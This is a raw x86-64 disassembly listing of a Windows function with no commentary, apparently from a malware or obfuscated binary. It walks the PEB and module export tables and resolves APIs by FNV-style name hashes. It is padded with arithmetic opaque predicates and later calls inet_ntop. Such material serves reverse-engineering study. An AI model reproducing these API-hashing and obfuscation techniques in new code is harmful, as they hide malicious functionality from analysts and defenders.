mov edi, 7
jmp 0x140006b87
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r14d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006b87
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rsi + r15]
lea ecx, [rcx + rsi*8]
xor edx, edx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si edi, xmm0
cmp ebx, edi
jge 0x140006bba
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x140006bb3
mov rdx, qword [rdx + 0x20]
lea r8, [rbp + 0x1c0]
mov r9d, 0x16
add rdx, 4
lea ecx, [r9 - 0x14]
call qword [sym.imp.WS2_32.dll_inet_ntop]
inc ebx
jmp 0x140006a80
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006c58
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140006c58
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0xc1e85551
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140006c53
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140006c30
cmp ecx, 0x71c153c4
je 0x140006d86
test r8d, r8d
jne 0x140006c10
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140006c6e
cmp qword [rax + 0x30], 0
jne 0x140006be0
mov rax, r13
mov rcx, qword [rbp - 0x18]
call rax
mov rcx, qword [0x14007d260]
test rcx, rcx
jne 0x140006e3d
mov rax, qword gs:[0x60]
mov r11d, r13d
mov r10d, 0x13b2a720
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140006cfd
psrldq xmm0, 8
mov edx, 0x924b300b
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140006cf4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140006ce0
cmp edx, r11d
jne 0x140006e1d
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r9
cmp rbx, r9
je 0x140006e1d
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140006e1d
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rcx, [rsi + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0x924b300b
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140006d77
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140006d60
cmp ecx, r10d
je 0x140006da5
test r8d, r8d
jne 0x140006d40
jmp 0x140006e1d
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
add rax, r9
jmp 0x140006c71
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ecx, dword [rcx + r8*4]
add rcx, r9
cmp rcx, rbx
jbe 0x140006e36
lea rax, [r14 + rbx]
cmp rcx, rax
jae 0x140006e36
movzx eax, byte [rcx]
mov r11d, 0x924b300b
mov r10d, r11d
cmp al, 0x2e
je 0x140006df7
nop dword [rax + rax]
movsx eax, al
inc rcx
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140006de0
movzx eax, byte [rcx + 1]
inc rcx
test al, al
je 0x140006e1a
movsx eax, al
lea rcx, [rcx + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [rcx]
test al, al
jne 0x140006e02
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140006e33
cmp qword [rax + 0x30], 0
jne 0x140006cb0
mov rcx, r13
mov qword [0x14007d260], rcx
call rcx
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm2, xmm2
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006f2f
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
jne 0x140006fcc
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006fc3
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x140006fc7
mov eax, dword [rsp + 0x28]
cmp r13d, eax
jge 0x14000700c
mov rbx, qword [rsp + 0x30]
lea rax, [rbp + 0x1c0]
xorps xmm0, xmm0
mov r8, 0xffffffffffffffff
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006ff0
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call fcn.140002480
mov rax, rbx
mov rbx, qword [rsp + 0x428]
mov rdi, qword [rsp + 0x430]
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14006f780
mov rsi, qword [rsp + 0x438]
add rsp, 0x3f0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret